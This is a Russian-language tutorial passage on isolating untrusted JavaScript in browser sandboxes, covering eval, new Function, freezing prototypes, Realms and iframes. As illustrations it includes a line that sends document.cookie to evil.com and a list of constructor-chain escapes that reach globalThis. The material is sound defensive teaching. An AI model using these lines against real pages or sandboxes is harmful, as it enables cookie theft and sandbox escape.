
Всем привет! Меня зовут Александр Григоренко, я фронтенд-разработчик. Последние несколько месяцев я работаю над пет-проектом — интерактивной образовательной платформой для изучения Web Audio API и принципов обработки и синтеза цифрового звука. На платформе пользователи смогут решать задачи, программируя на JavaScript прямо в браузере. Эти программы выполняются в изолированной среде — песочнице, где пользовательский код не может повлиять на работу самой платформы.
Когда я начал реализовывать песочницу для своего проекта, я быстро понял, что это куда сложнее, чем кажется на первый взгляд. Я перепробовал разные подходы и убедился, что тема изоляции кода в браузере далека от очевидной, а большинство материалов в сети рассматривают её лишь поверхностно. Из моих исследований и экспериментов выросла эта статья — подробный разбор того, как устроены песочницы в браузере и какие архитектурные принципы и нюансы безопасности лежат в их основе.
Вы наверняка сталкивались с песочницами, если пользовались сервисами вроде CodePen, StackBlitz или JSFiddle, когда нужно было быстро проверить идею или поделиться фрагментом кода. Такие инструменты называются code playgrounds. Но песочницы встречаются гораздо шире: в интерактивных обучающих платформах (Codecademy, freeCodeCamp, MDN Playground), браузерных IDE и даже внутри крупных веб-приложений типа Figma, где пользователи могут создавать плагины, визуальные сценарии или собственные расширения на языке JavaScript.
Везде, где пользователь может выполнять код прямо в браузере, нужен слой изоляции. Без него чужой код мог бы получить нежелательный доступ к ресурсам страницы, сломать приложение или даже навредить пользователю.
Правильно спроектированная песочница должна решать три ключевые задачи:
Безопасность. Песочница ограничивает доступ произвольного кода к данным и API, которые могут навредить сервису.
Стабильность. Если основной код и код внутри песочницы используют одни и те же сущности языка, внутри песочницы не должно быть возможности модифицировать или ломать их.
Расширяемость. Песочница может реализовывать собственную функциональность, специфичную для задачи. Например, в моём образовательном проекте она сама проверяет решения заданий на соответствие условиям их выполнения.
В этой статье мы шаг за шагом разберём, как устроены JavaScript-песочницы:
начнём с базовых способов выполнения произвольного кода —
eval()иnew Function(),посмотрим, как с помощью
new Function()можно построить изоляцию в рамках одного контекста и увидим, почему это нетривиальная задача,разберём механизмы изоляции в отдельных контекстах — от
iframeи воркеров до ShadowRealm и виртуальных Node.js-рантаймов (WebContainers),познакомимся с существующими подходами к изоляции в пределах одного контекста вроде Secure ECMAScript,
рассмотрим серверные подходы, а также то, какие гарантии безопасности и производительности вообще можно ожидать от песочниц и где неизбежны компромиссы.
Эта статья — попытка систематизировать существующие архитектурные подходы к изоляции кода в JavaScript. Прочитав статью, вы узнаете не только, как построить собственную песочницу, но и как современные браузеры и возможности JavaScript обеспечивают безопасность выполнения кода, а также какие инициативы развиваются в этой области.
Итак, начнём!
Оглавление
eval() и другие (не)легальные способы сломать браузер
Прежде чем перейти к настоящим песочницам и полноценной изоляции, мы рассмотрим, как вообще выполняется произвольный код в JavaScript и почему это может быть небезопасно. Разобрав базовые механизмы исполнения произвольного кода, мы лучше поймём, откуда возникают уязвимости и как от них защищаться.
Итак, представьте: вы создаёте обучающую платформу по веб-разработке и хотите добавить на сайт редактор кода. Как запустить то, что напишет пользователь? Самое очевидное (но не самое лучшее) решение — передать строку с кодом в eval().
Возможно, вам встречалось мнение, что eval() — это антипаттерн и не рекомендуется к использованию в продакшне. Это правда: кроме того, что он крайне непроизводителен (интерпретатор вынужден парсить и компилировать код на лету, что мешает оптимизациям и увеличивает задержки), он ещё и небезопасен. Однако с помощью eval() проще всего выполнить любой код, поэтому этот способ станет для нас удобной отправной точкой для понимания принципов работы песочниц.
Итак, eval() — это встроенная в JavaScript функция, которая выполняет код, переданный в неё в виде строки:
const userCode = "console.log('Привет из песочницы!')";
eval(userCode); // В консоли: Привет из песочницы!
Этот пример выглядит безопасно, пока вы контролируете содержимое строки userCode. Если же туда попадёт непроверенный код, последствия могут быть непредсказуемыми. Для злоумышленников это удобный вектор для XSS и других атак, а для пользователя — способ случайно вывести страницу из строя:
eval("document.body.style.background = 'red'"); // Этот код изменит цвет фона страницы на красный
Можно представить и куда более неприятный пример, когда злоумышленник решит украсть данные со страницы:
eval('fetch("https://evil.com?data=" + document.cookie)');
Однако важно понимать, что опасность кроется не только в содержимом строки, но и в том, как именно вы запускаете код: каким способом он вызывается, в каком режиме исполняется и какое окружение ему доступно.
Подробнее про eval() — на MDN.
Способ вызова eval(): direct vs indirect
Первая точка, с которой мы можем начать делать нашу песочницу безопаснее — это особенность eval(), о которой часто забывают. Результат выполнения eval() зависит от того, как он вызван — напрямую или косвенно. От этого меняется лексическое окружение, в котором исполняется пользовательский код, и то, какие переменные ему доступны.
Прямой вызов (
direct eval) выполняется в текущем лексическом окружении и имеет доступ к локальным переменным и замыканиям.Косвенный вызов (
indirect eval) выполняется в глобальном лексическом окружении и не видит локальные переменные.
// Прямой вызов eval
eval("x + y");
// Косвенный вызов (через опциональную цепочку)
eval?.("x + y");
Есть и другие способы сделать вызов косвенным:
// Через использование промежуточной переменной
const myEval = eval;
myEval("x + y");
// Через свойство объекта
const obj = { eval };
obj.eval("x + y");
// Через свойство глобального объекта
window.eval("x + y");
// Через оператор запятой
(0, eval)("x + y");
Разница между двумя формами вызовов eval() хорошо видна на примере:
// Создаём локальную область видимости внутри функции
(function () {
const secret = "Очень секретные данные";
// Прямой вызов
eval("console.log(secret)"); // Есть доступ к локальной области видимости — вывод secret в консоль
// Непрямой вызов
eval?.("console.log(secret)"); // ❌ ReferenceError: secret is not defined
})();
Такая деталь может показаться незначительной, но именно она определяет, имеет ли выполняемый код внутри eval() доступ к внутреннему окружению или работает в чистом глобальном контексте.
Подробнее про режимы вызова eval() — на MDN.
Выполнение eval() в строгом режиме
Строгий режим ("use strict") появился в JavaScript в рамках стандарта ES5. Он делает поведение языка более предсказуемым и безопасным, устраняя ряд неочевидных ошибок и немного ограничивая нежелательные возможности eval().
В строгом режиме eval() создаёт для строки с кодом собственное лексическое окружение: переменные, объявленные внутри строки кода не могут оказаться во внешнем окружении. Без "use strict" код, выполненный через eval() может не только читать, но и перезаписывать внешние переменные, что делает его особенно опасным:
// Код будет выполнен в глобальном контексте (на уровне window)
eval?.("var fetch = () => alert('К сожалению, вы хакнуты!')");
// Объявление fetch через var перезапишет window.fetch
fetch('https://example.com'); // вызовет alert
В строгом режиме такой проблемы нет — переменные, объявленные внутри строки кода становятся локальными, и никак не влияют на глобальные имена:
"use strict";
eval?.("var fetch = () => alert('К сожалению, вы хакнуты!')");
fetch('https://example.com'); // Вызовется оригинальный window.fetch
Однако эту защиту довольно легко обойти. Даже в строгом режиме можно изменить глобальное свойство, если выполнить прямое присвоение нового значения без var:
"use strict";
eval?.("fetch = () => alert('К сожалению, вы хакнуты!')");
// fetch теперь ссылается на подменённую функцию
fetch('https://example.com'); // Будет вызван alert
Строгий режим делает eval() немного безопаснее, но не устраняет его главную проблему: он не запрещает коду напрямую менять содержимое существующих глобальных переменных.
Кстати, строгий режим можно объявить прямо внутри строки с пользовательским кодом. Хорошая практика — всегда добавлять директиву
"use strict"перед строкой с кодом, переданным в песочницу:
eval?.('"use strict";' + userCode);
Подробнее про строгий режим и eval() — на MDN.
Не eval() единым
Впрочем, eval() — не единственный способ выполнить строку как код. То же самое можно сделать через new Function() или строковые вызовы в setTimeout() и setInterval(). В отличие от eval(), остальные методы всегда исполняют код в глобальном контексте и не имеют доступа к локальным переменным. В строгом режиме Function(), setTimeout() и setInterval() ведут себя аналогично eval() и наследуют те же ограничения.
Пример с new Function() и setTimeout():
(function () {
"use strict";
const secret = "Секретные данные";
eval('console.log(secret)'); // Секретные данные
new Function("console.log(secret)")(); // ❌ ReferenceError: secret is not defined
setTimeout("console.log(secret)", 0); // ❌ ReferenceError: secret is not defined
})();
Конструктор функции можно вызывать и так:
Function("console.log(secret)")();. Ключевое словоnewздесь не обязательно, но обычно добавляется для лучшей читабельности.
По умолчанию Function() не делает выполнение кода безопаснее косвенного вызова eval(): он выполняется в общем глобальном контексте и видит всё то же, что и остальной код вашего приложения — window, document, fetch и другие API, которые можно подменить или повредить. Тем не менее у Function() есть особенности, позволяющие усложнить доступ исполняемого кода к глобальным переменным — об этом мы поговорим чуть позже.
Итак, eval() и его альтернативы позволяют легко выполнять динамический код, но при этом создают целый набор рисков:
утечка локальных данных;
подмена или повреждение глобальных API;
XSS-атаки;
конфликты имён;
утечки памяти;
снижение производительности (JIT-оптимизации отключаются).
Даже "use strict" или косвенный вызов eval() не делают выполнение произвольного кода безопасным — они лишь помогают немного ограничить масштаб возможного вреда. Главная проблема не в самом способе исполнения кода, а в контексте, в котором он работает и в том, какие переменные и объекты ему доступны. Основная уязвимость — это ничем не ограниченный доступ к глобальному объекту. Через него можно не только читать данные, но и подменять встроенные API, модифицировать прототипы и ломать логику страницы.
Если злоумышленник получит неограниченный доступ к глобальному объекту и глобальным API, он может:
подменять методы на общих прототипах, ломая или перехватывая поведение приложения;
использовать мощные API для кражи конфиденциальных данных;
запускать распределённые атаки (например, майнеры) в браузерах посетителей;
эксплуатировать уязвимости сторонних библиотек (supply chain attack);
получать доступ к чувствительным данным пользователя (
cookies,localStorage,IndexedDB, формы, буфер обмена) и отправлять их на удалённый сервер;подслушивать и логировать ввод с клавиатуры или собирать данные через события форм;
подменять сетевые запросы и перенаправлять их на другие адреса или подменять ответы;
менять обработчики событий и DOM, подсовывая фишинговые формы;
фингерпринтить и отслеживать пользователя, собирая уникальные характеристики среды и поведенческие паттерны.
Этими уязвимостями список не ограничивается, но совершенно ясно, что необходимо найти способ изолировать глобальный объект от песочницы или хотя бы иметь возможность контролировать то, с чем может взаимодействовать пользовательский код.
Можно ли запретить коду из песочницы получать доступ к window, document, fetch, setTimeout и другим глобальным API? Можно ли изолировать глобальный объект так, чтобы было просто невозможно совершить вредосные действия на странице? Попробуем разобраться в этом далее и начнём с более глубокого знакомства с понятием глобального объекта в JavaScript.
Что такое глобальный объект и как его изолировать
Когда движок JavaScript запускает программу, он создаёт глобальное окружение исполнения — область памяти, где хранятся все переменные и функции, не принадлежащие ни одной локальной области. Чтобы сделать их доступными из любой точки кода, это окружение связывается с глобальным объектом, который представляет саму среду выполнения. Он создаётся один раз при запуске и существует до завершения программы.
Исторически в JavaScript не было единого имени для глобального объекта — оно зависело от среды, в которой исполняется код: в браузере это window, в воркерах — self, в Node.js — global. Начиная с ES2020, в языке появился универсальный идентификатор — globalThis. Он всегда ссылается на текущий глобальный объект, независимо от среды исполнения:
console.log(globalThis === window); // ✅ true (в браузере)
console.log(globalThis === global); // ✅ true (в Node.js)
console.log(globalThis === self); // ✅ true (в Worker)
Далее в примерах чаще всего будет встречаться именно универсальный идентификатор globalThis при обращениях к глобальному объекту.
Содержимое глобального объекта условно можно разделить на четыре группы:
Стандартные встроенные объекты языка — это такие интерфейсы как
Object,Array,Function,Promise,Mathи другие.API хост-среды — функции и объекты, предоставляемые средой. В браузере это
fetch,document,indexedDB,WebSocket,setTimeout; в Node.js —process,require,Buffer,setImmediateи т. д.Пользовательские глобальные имена — переменные и функции, определённые разработчиком в глобальной области через
var,functionили неявные присвоения, а также любые свойства, добавленные вручную вglobalThis.Свойство
globalThis— ссылка на глобальный объект, единая для всех сред выполнения.
Свойства и методы глобального объекта доступны напрямую из любого места программы, даже без обращения к globalThis. Например, fetch — это всего лишь свойство глобального объекта:
console.log(globalThis.fetch === fetch); // ✅ true (в браузере)
Иными словами, вызовы globalThis.fetch() и fetch() эквивалентны. Все глобальные методы и объекты доступны в любом контексте, и именно это делает изоляцию кода в JavaScript такой сложной задачей.
Подробнее про globalThis — на MDN.
Первые шаги к изоляции глобального объекта
Когда мы пытаемся выполнить чужой код в пределах одного контекста с кодом сервиса, естественная идея — как-то подменить или спрятать глобальный объект, чтобы пользовательский код не видел реальные API и не мог ничего сломать. Забегая вперёд: это крайне нетривиальная и неблагодарная задача. Для реальных песочниц обычно используют стандартные изолированные контексты — iframe или Worker. Тем не менее технически изолировать глобальный объект внутри одного контекста возможно; далее мы разберём практические подходы к такой изоляции и их ограничения.
Для изоляции глобального объекта от пользовательского кода мы будем запускать его через new Function() вместо eval(). У конструктора Function есть удобное свойство — он позволяет задать список параметров, которые станут локальными переменными внутри сгенерированной функции. Имена параметров необходимо передать в конструктор, а затем при вызове функции задать им конкретные значения в аргументах:
const sandbox = new Function(paramName1, paramName2, /*...,*/ paramNameN, codeString);
sandbox(argument1, argument2, /*...,*/ argumentN);
При вызове функции sandbox можно передать конкретные значения в аргументы и использовать их в строке с кодом:
const userCode = "console.log(a + b)";
const sandbox = new Function("a", "b", '"use strict";' + userCode);
sandbox(1, 2); // В консоли: 3
Вспоминаем, что функция, созданная через Function(), по умолчанию исполняется в глобальном контексте: она не видит локальные переменные вызывающей функции, но имеет доступ к глобальному объекту. Поэтому простой Function() сам по себе проблему изоляции не решает — вредоносный код всё ещё может перезаписать globalThis и подменить глобальные API:
const userCode = "fetch = () => alert('К сожалению, вы хакнуты!')";
const sandbox = new Function('"use strict";' + userCode);
sandbox();
fetch('https://example.com'); // fetch будет подменён и вызовется alert
Чтобы этого избежать, мы можем заранее объявить в Function() параметры с именами тех глобальных имён, которые хотим изолировать, и при вызове передать им нужные значения. Тогда присваивание другого значения внутри сгенерированной функции изменит не свойство глобального объекта, а локальную переменную:
const userCode = "fetch = () => alert('К сожалению, вы хакнуты!')";
const sandbox = new Function("fetch", '"use strict";' + userCode);
sandbox(globalThis.fetch);
fetch('https://example.com'); // Глобальный fetch остался нетронутым и браузер попытается выполнить запрос
Этот приём позволяет перекрыть конкретные глобальные имена и существенно снизить риск простых подмен.
Подробнее про конструктор Function() — на MDN.
Закрываем прямой доступ к глобальному объекту
Ранее мы запретили прямую подмену fetch, но злоумышленник всё ещё может обратиться к fetch как к свойству глобального объекта. Опасный код по-прежнему может получить доступ к глобальному объекту напрямую (например, через globalThis) и изменить его свойства:
const userCode = "globalThis.fetch = () => alert('К сожалению, вы хакнуты!')";
Чтобы закрыть и этот вектор атак, можно добавить в список параметров все идентификаторы глобального объекта и при запуске передать для них undefined:
const paramNames = ["fetch", "window", "globalThis", "self"];
const sandbox = new Function(...paramNames, '"use strict";' + userCode);
sandbox(globalThis.fetch, undefined, undefined, undefined);
В этом случае попытка присваивания globalThis.fetch = ... внутри userCode приведёт к ошибке, потому что внутри песочницы globalThis будет равен undefined.
Так можно перекрыть доступ к любым глобальным именам — например, к eval, setTimeout, setInterval или даже к конструкторам Function и Object. Это заметно снижает риск тривиальных атак, однако не даёт абсолютной защиты: доступ к глобальному объекту можно попытаться получить и другими способами.
Вопрос о том, закрывать ли все глобальные имена целиком, зависит от того, насколько вы готовы ограничить возможности пользователя. Теоретически можно передать undefined вообще для всех глобальных переменных, но скорее всего это будет излишне, ведь наверняка вы бы хотели предоставить пользователю хоть какой-то набор полезных API. Однако предоставлять эти API совсем без ограничений тоже опасно. Например, если пользователю будет доступен оригинальный интерфейс Object, он может пропатчить его прототип и в дальнейшем это повлияет на поведение всех объектов во всём приложении. Такой вредоносный приём называется prototype pollution — загрязнение прототипа. Чтобы снизить риск prototype pollution, мы можем заморозить глобальные сущности через Object.freeze() — это заблокирует возможность изменения объекта:
// Не забываем про строгий режим, чтобы срабатывали исключения на попытке изменить замороженный объект
"use strict";
// Список основных встроенных глобальных имён, у которых есть прототипы
const SAFE_GLOBALS = [
'Object', 'Function', 'Array', 'String', 'Number', 'Boolean', 'Symbol',
'Date', 'RegExp', 'Error', 'Map', 'Set', 'WeakMap', 'WeakSet',
'Promise', 'Reflect', 'Math', 'JSON', 'Intl',
];
// Нужно заморозить не только сами интерфейсы, но и их прототипы
SAFE_GLOBALS.forEach(name => {
const safeGlobal = globalThis[name];
if (!safeGlobal) return;
Object.freeze(safeGlobal);
if (safeGlobal.prototype) Object.freeze(safeGlobal.prototype);
});
После этого простые попытки загрязнить встроенные объекты и их прототипы будут блокироваться:
Object.newProp = 123;
// ❌ TypeError: Cannot add property newProp, object is not extensible
Array.prototype.push = () => alert('К сожалению, вы хакнуты!');
// ❌ TypeError: Cannot assign to read only property 'push' of object '[object Array]'
Как защититься от мутирования объектов
На первый взгляд закрытие доступа к глобальным именам (обнуление или заморозка прототипов) даёт желаемую защиту. Но эти приёмы защищают только от переприсваивания имён — они не предотвращают мутирование самих объектов, если в песочницу переданы реальные ссылки на них. Например, если при создании песочницы мы передадим для параметра "console" ссылку на globalThis.console, то изменение console.log внутри песочницы изменит и оригинальный объект:
const userCode = "console.log = () => alert('К сожалению, вы хакнуты!')";
const sandbox = new Function("console", '"use strict";' + userCode);
sandbox(globalThis.console);
console.log('Привет!'); // Будет вызван alert
Так злоумышленник может не только модифицировать свойства оригинального объекта, но и удалять их через оператор delete или добавлять новые. Кроме того, он сможет получить доступ до globalThis через цепочку прототипов этих объектов. Чтобы этого избежать, нужно передавать в песочницу не оригинальные объекты, а их защищённые копии — объекты без прототипа с замороженными методами и обнулённым конструктором. Разберём как это сделать по шагам на примере console.log.
Сначала создадим заготовку объекта-копии без прототипа — это не даст вредоносному коду достучаться до глобального объекта через цепочку прототипов:
const safeConsole = Object.create(null);
console.log(safeConsole.__proto__); // undefined
Присваиваем методы-обёртки вместо прямых ссылок на оригинальные методы:
// Простой вариант — обёртка, проксирующая вызов оригинального метода
safeConsole.log = (...args) => console.log(...args);
// Или вариант с bind — контекст обнулён, чтобы через него нельзя было достать глобальный объект
safeConsole.log = console.log.bind(null);
Блокируем свойство
constructorу метода, чтобы обращение кsafeConsole.log.constructorне могло привести к глобальному конструкторуFunction:
Object.defineProperty(safeConsole.log, 'constructor', {
value: undefined,
writable: false,
configurable: false,
enumerable: false,
});
console.log(safeConsole.log.constructor); // undefined
Замораживаем сам объект и его методы, чтобы запретить перезапись или удаление:
Object.freeze(safeConsole);
Object.freeze(safeConsole.log);
safeConsole.log = () => alert('К сожалению, вы хакнуты!'); // ❌ TypeError: Cannot assign to read only property 'log' of object '[object Object]'
Итоговый код защищённого объекта safeConsole с единственным методом log() будет выглядеть так:
"use strict";
const safeConsole = Object.create(null);
safeConsole.log = console.log.bind(null);
Object.defineProperty(safeConsole.log, 'constructor', {
value: undefined,
writable: false,
configurable: false,
enumerable: false,
});
Object.freeze(safeConsole);
Object.freeze(safeConsole.log);
Далее мы можем использовать защищённый объект safeConsole при инициализации песочницы. Важно оборачивать вызов песочницы в try/catch, потому что попытки переопределить замороженные свойства в строгом режиме будут бросать исключение:
const userCode = "console.log = () => alert('К сожалению, вы хакнуты!');";
const sandbox = new Function("console", '"use strict";' + userCode);
try {
sandbox(safeConsole);
} catch (err) {
realConsole.error('Возникла ошибка внутри песочницы:', err);
}
Тот же алгоритм нужно будет повторить для всех API, которые вы захотите предоставить песочнице, и параллельно закрыть (передав undefined) интерфейсы, которые не должны быть доступны.
Блокируем последние лазейки
Чтобы полностью ограничить доступ кода из песочницы к глобальному объекту, придётся проделать большую работу. Для полной изоляции пришлось бы создать защищённые копии всех глобальных сущностей и их методов: если какое-то глобальное имя не подменено в параметрах new Function(), оно останется доступным внутри песочницы. Но даже если представить, что мы подменили все API, через которые можно получить доступ к globalThis — это всё равно не даст полной изоляции глобального объекта. Его всё ещё можно достать!
Например, доступ к глобальному объекту можно получить через цепочку конструкторов любого встроенного объекта, дойдя до базового конструктора Function:
console.log(Math.constructor.constructor); // function Function() { [native code] }
Далее можно получить контекст функции, созданной этим конструктором. Поскольку функции, созданные new Function(), по умолчанию работают в нестрогом режиме и исполняются в глобальном контексте, их this будет указывать на глобальный объект:
console.log(Math.constructor.constructor("return this")() === globalThis); // ✅ true
Даже если мы заблокируем прямой доступ ко всем встроенным объектам вплоть до Object и Function, эту блокировку можно будет обойти через constructor любого примитива — от чисел до функций-генераторов:
// Все эти вызовы вернут ссылку на глобальный объект
const numberHack = '(1).constructor.constructor("return this")()';
const nanHack = 'NaN.constructor.constructor("return this")()';
const stringHack = '"".constructor.constructor("return this")()';
const booleanHack = 'true.constructor.constructor("return this")()';
// Эти тоже
const objectHack = '({}).constructor.constructor("return this")()';
const arrayHack = '[].constructor.constructor("return this")()';
const fnHack = '(function(){}).constructor("return this")()';
const arrowFnHack = '(() => {}).constructor("return this")()';
// А ещё можно делать такие выкрутасы
const asyncFnHack = '(async () => {}).constructor("return this")().then(global => global)';
// И даже такие — всё это вернёт ссылку на глобальный объект
const generatorHack = '(function*(){}).constructor("return this")().next().value';
const asyncGeneratorHack = '(async function*(){}).constructor("return this")().next().then(global => global.value)';
Чтобы закрыть подобные лазейки, нужно заблокировать свойство constructor у прототипа функций — тогда пути к Function через цепочки конструкторов будут прерваны:
Object.defineProperty(Function.prototype, 'constructor', {
value: undefined,
writable: false,
configurable: false,
enumerable: false,
});
// Заодно можно заблокировать constructor у Object.prototype, чтобы прикрыть дополнительные обходные пути
Object.defineProperty(Object.prototype, 'constructor', {
value: undefined,
writable: false,
configurable: false,
enumerable: false,
});
Эти блокировки сработают для всех примитивов, кроме асинхронных функций и функций-генераторов, у которых конструктором выступает не Function, а собственные Function-like объекты:
console.log((async () => {}).constructor.name); // AsyncFunction
console.log((function*(){}).constructor.name); // GeneratorFunction
console.log((async function*(){}).constructor.name); // AsyncGeneratorFunction
Эти объекты не доступны через глобальный объект и к ним нельзя обратиться напрямую, чтобы обнулить их конструктор. Поэтому для таких функций придётся использовать обходной путь для определения прототипов через Object.getPrototypeOf():
// блокируем constructor у прототипа функции-генератора
Object.defineProperty(Object.getPrototypeOf(function*(){}), 'constructor', {
value: undefined,
writable: false,
configurable: false,
enumerable: false,
});
Только пройдя по всем этим шагам (и проделав аналогичные операции для остальных Function-like конструкторов), мы добъёмся полноценной изоляции глобального объекта для кода, выполняемого через new Function().
Выводы: насколько вообще возможна изоляция в одном контексте
Кратко пройдёмся по алгоритму, с помощью которого мы попытались реализовать безопасную песочницу в пределах одного контекста:
Необходимо запускать пользовательский код только в строгом режиме (
"use strict").Использовать
new Function()для инициализации песочницы, чтобы подменять глобальные имена через параметры.В параметрах функции перечислять все глобальные имена и встроенные объекты, которые нужно скрыть, и при запуске передавать для них
undefined.Для встроенных объектов, которые нужно оставить доступными (
Object,Arrayи т. п.), замораживать интерфейсы и их прототипы.Для глобальных API, которые предоставляются пользователю, создавать защищённые копии (обёртки) без доступа к глобальному объекту и подменять ими оригинальные объекты.
Обнулять
constructorу соответствующих прототипов, чтобы перекрыть обходные пути кFunction()через цепочки конструкторов примитивов и функций.
Если проделать все эти шаги очень тщательно, у злоумышленника не останется доступных способов получить globalThis внутри песочницы и запустить опасный код. Ключевое слово — тщательно: придётся пропатчить, заморозить или заглушить все встроенные объекты языка, все глобально доступные имена и все браузерные API. Однако я все равно не советую использовать этот подход для ваших проектов, так как его нельзя считать полностью надёжным по ряду причин:
в язык и браузерные окружения регулярно добавляются новые встроенные объекты и API — придётся постоянно поддерживать и допиливать защитный код;
разные движки (V8, SpiderMonkey, JavaScriptCore) реализуют и оптимизируют объекты по-разному — нюансы реализации и баги в движках могут обойти ваши патчи;
патчить стандартные прототипы опасно: сторонний код (включая npm-библиотеки) может полагаться на дефолтное поведение и внезапно сломаться;
поддерживать такой защитный механизм сложно, ведь он основан на покрытии известных путей, а не на архитектурной гарантии;
даже без доступа к глобальному объекту пользовательский код может навредить: например, запустить бесконечный цикл или тяжёлую вычислительную задачу, которые заблокируют основной UI-поток.
В итоге можно сделать следующий вывод: формально добиться изоляции в пределах одного контекста возможно, но для этого придётся сильно менять стандартное поведение языка и постоянно закрывать новые пути обхода. Такой подход может работать, если возможности песочницы сильно ограничены by design. Но если требуется доступ к DOM, сетевым вызовам или другим сложным API, контролировать растущую поверхность атак станет очень непросто.
Для большинства задач, где требуется запускать пользовательский код, нужны механизмы, которые надёжно изолируют песочницу от основного приложения. Именно на таких механизмах основаны большинство code playgrounds — например, CodePen. Прежде чем перейти к их рассмотрению, разберёмся, как устроены контексты выполнения в JavaScript, что такое Realm и почему понимание этой концепции критически важно для построения любых песочниц.
Что такое Realms и зачем они нужны
На данный момент (конец 2025-го года) в JavaScript нет стандартизированного API, с помощью которого можно было бы вручную создать полностью независимое окружение исполнения. Тем не менее изоляция заложена в архитектуру языка — через механизм Realms, который определяет отдельное пространство выполнения кода со своим глобальным объектом и собственным набором встроенных сущностей.
В спецификации ECMAScript Realm описывается как внутренняя структура, которая объединяет:
набор intrinsic-объектов — встроенные сущности языка вроде
%ObjectPrototype%,%ArrayPrototype%,%FunctionPrototype%и др.;глобальный объект и связанное с ним глобальное окружение, в котором живут глобальные переменные и функции;
программный код, выполняющийся внутри этого окружения.
Проще говоря, Realm — это отдельный мир JavaScript-кода: со своими встроенными глобальными именами, прототипами и собственным контекстом выполнения. Два Realms не разделяют общие объекты или прототипы: например, изменение прототипа Object в одном из них не затронет объекты, созданные в другом.
До этого мы рассматривали, как можно ограничить выполнение стороннего кода в пределах одного и того же Realm — через new Function(), подмену глобальных имён и заморозку прототипов. Эти приёмы могут снизить риск, но не дают полноценной изоляции, так как и пользовательский код и код основного приложения по-прежнему работают внутри одного общего глобального объекта и используют одну и ту же коллекцию intrinsics. Полноценная изоляция достигается только созданием нового Realm.
В JavaScript новые Realms автоматически создаются хост-средой следующими способами:
<iframe>
Каждый <iframe> создаёт новый Realm — со своим window, document, globalThis и собственной версией всех встроенных объектов. Это классический механизм изоляции, на котором работают CodePen, JSFiddle, MDN Playground и многие другие песочницы.
Workers
Web Workers также создают собственный Realm. Они не имеют доступа к DOM, общаются с главным контекстом через механизм postMessage() и могут завершаться вручную через terminate().
Сервис-воркеры (
Service Worker) работают в отдельном Realm, но выполняют другую задачу: они выступают в роли сетевого прокси между страницей и сетью, управляют кэшем и реагируют на события жизненного цикла приложения.
Node.js vm
На стороне сервера аналогом Realms выступает модуль vm, который создаёт изолированные контексты выполнения, похожие на отдельные Realms: у каждого есть свой глобальный объект и собственное глобальное окружение. Однако intrinsic-объекты по умолчанию могут быть общими для разных контекстов, если специально не сделать их независимыми.
В спецификации ECMAScript также указано, что каждый Realm принадлежит сущности, которая называется Agent (агент). Agent управляет общими ресурсами: памятью, очередью задач и event loop. Один агент может содержать несколько Realms. Например, основное окно и <iframe> того же происхождения (same origin) работают в одном агенте, поэтому могут обращаться друг к другу напрямую:
// iframe того же origin
const iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window === iframe.contentWindow; // ❌ false — разные globalThis
window.Array === iframe.contentWindow.Array; // ❌ false — разные intrinsics
iframe.contentWindow.document.body.innerHTML = 'Привет!'; // ✅ Работает, так как это тот же agent
Если же <iframe> загружается с другого origin (cross origin), браузер создаёт новый агент (часто — в отдельном процессе). Взаимодействие между агентами возможно только через асинхронные механизмы, такие как postMessage() или MessagePort.
Identity Discontinuity — разрыв идентичности
Одним из самых любопытных следствий существования отдельных Realms является так называемый разрыв идентичности (identity discontinuity) — ситуация, когда объект, созданный в одном окружении, перестаёт совпадать с этим же типом объекта в другом окружении.
Рассмотрим следующий пример:
<iframe id="button_iframe">
<script>
// Из iframe обращаемся к window.top — это родительский контекст
// В нём описываем функцию, которая создаёт элемент кнопки
window.top.createButton = text => {
const button = document.createElement('button');
button.value = text;
return button;
};
</script>
</iframe>
<script>
const button = window.createButton('Click me');
// Вроде бы HTMLButtonElement — правильный тип, однако тип кнопки с ним не совпадает
console.log(button instanceof HTMLButtonElement); // ❌ false
</script>
Хотя button выглядит как нормальная кнопка, проверка instanceof HTMLButtonElement возвращает false. Причина в том, что элемент был создан внутри <iframe>, а там другой глобальный объект и свой собственный набор DOM-классов (включая HTMLButtonElement):
console.log(button instanceof button_iframe.contentWindow.HTMLButtonElement); // ✅ true
Это не ошибка, а вполне ожидаемое поведение, ведь основной документ и документ внутри <iframe> живут в разных Realms и имеют собственные версии встроенных объектов и собственные экземпляры DOM-интерфейсов. Поэтому объект из одного Realm никогда не станет инстансом класса из другого, даже если их имена и интерфейсы совпадают.
Разрыв идентичности служит естественной границей между мирами JavaScript: объект, созданный в песочнице, не будет совместим с объектами основного приложения. Экземпляры из разных <iframe> или воркеров также несовместимы:
// Создаём массив в первом iframe
const arr = iframe1.contentWindow.Array.of(1, 2, 3);
// Пытаемся выполнить проверку во втором iframe
console.log(iframe2.contentWindow.Array.isArray(arr)); // ❌ false
console.log(arr instanceof iframe2.contentWindow.Array); // ❌ false
Впрочем, разрыв идентичности может доставлять неудобства, когда нужно передавать сложные структуры данных между песочницами. Существуют подходы, которые пытаются решить эту проблему и обеспечить совместимость объектов между разными окружениями. К этому вопросу мы ещё вернёмся позже в статье.
Мы уже увидели, что Realms лежат в основе браузерной изоляции в JavaScript: каждый <iframe> или воркер — это отдельное окружение со своими встроенными объектами и глобальным состоянием. Далее мы посмотрим, как браузеры используют Realms на практике и какие механизмы изоляции доступны «из коробки». Начнём с <iframe>, который является самым старым и всё ещё самым распространённым способом создания песочниц.
Архитектура песочниц на базе iframe
Одним из самых надёжных и давно существующих способов изолированного выполнения кода в браузере является использование <iframe>. Это HTML-тег, в который можно загрузить отдельный документ, работающий в своём собственном окружении. Традиционно элемент <iframe> используют для встраивания виджетов карт, видео или рекламных баннеров, но он также идеально подходит для реализации песочниц. Именно <iframe> лежит в основе большинства code playgrounds, таких как CodePen, JSFiddle и многих других.
Давайте подробнее разберём устройство <iframe>, встроенные защитные механизмы и способы коммуникации между <iframe> и основным приложением.
Механизм происхождения документов (origin)
Изоляция <iframe> от основного приложения достигается при помощи нескольких защитных механизмов. Самый важный — это механизм определения происхождения (origin) документов в браузере. Каждый документ, который запускается в браузере, принадлежит определённому origin, который описывается схемой (protocol, host, port). Например, origin этой статьи, которая расположена по адресу https://habr.com/ru/articles/965830, задаётся по схеме (protocol, host, port) как (https, habr.com, 443). Если на страницу статьи встроить другую статью с Хабра, оба документа будут иметь одинаковое происхождение (same origin), и считаться доверенными по отношению друг к другу. Такие документы будет запущены в разных Realms, но в одном агенте и смогут свободно обмениваться данными между собой: обращаться к глобальным объектам друг друга, вызывать API и так далее:
<iframe id="iframe" src="sandbox.html"></iframe>
<script>
const iframe = document.getElementById("iframe");
